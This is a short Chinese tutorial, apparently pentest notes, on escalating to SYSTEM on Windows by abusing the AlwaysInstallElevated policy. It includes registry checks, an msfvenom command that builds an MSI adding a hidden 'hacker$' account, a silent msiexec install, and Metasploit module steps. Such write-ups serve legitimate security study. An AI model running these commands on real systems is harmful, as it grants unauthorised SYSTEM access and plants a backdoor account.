合规国际互联网加速 OSASE为企业客户提供高速稳定SD-WAN国际加速解决方案。 广告
[TOC] ## MSI文件提权——注册表键AlwaysInstallElvated 注册表键AlwaysInstallElevated是一个策略设置项,windows允许低权限用户以System权限运行安装文件,如果启用此策略设置项,那么任何权限的用户都能以NAAUTHORITY\\\SYSTE权限来安装恶意的MSI(Microsoft Windows Installer)文件 ## Windows Installer? Windows Installer是windows操作系统组件之一,专门用来管理和配置软件服务,Installer除了是一个安装程序,还用于管理软件安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等 ## 条件 ~~~ 开启Windows Installer特权安装功能 • 在“运行”中输入 gpedit.msc ,打开组策略编辑器 • 启用计算机配置下和用户配置下的windows instraller的永远以高特权进行安装 • 查看:HKEY_LOCA_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer • 查看:HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer ~~~ ## 查看注册表的值 先创建一个会话连接,然后查看注册表的值,是否开启了AlwaysInstallElvated,从而可以进行利用 ~~~ • reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated • reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated ~~~ ## 利用方法 ~~~ 1、手动提权 利用msf生成一个msi利用的文件 msfvenom -p windows/adduser user=hacker$ pass=Admin@123 -f msi -o adduser.msi 上传利用的MSI文件 upload msi文件的位置 上传的位置 执行MSI文件 msiexec /q /i adduser.msi 2、使用msf模块提权 建立会话 搜索模块 search exploit/windows/local/always_install_elevated use 0 设置参数 set session 执行模块 run ~~~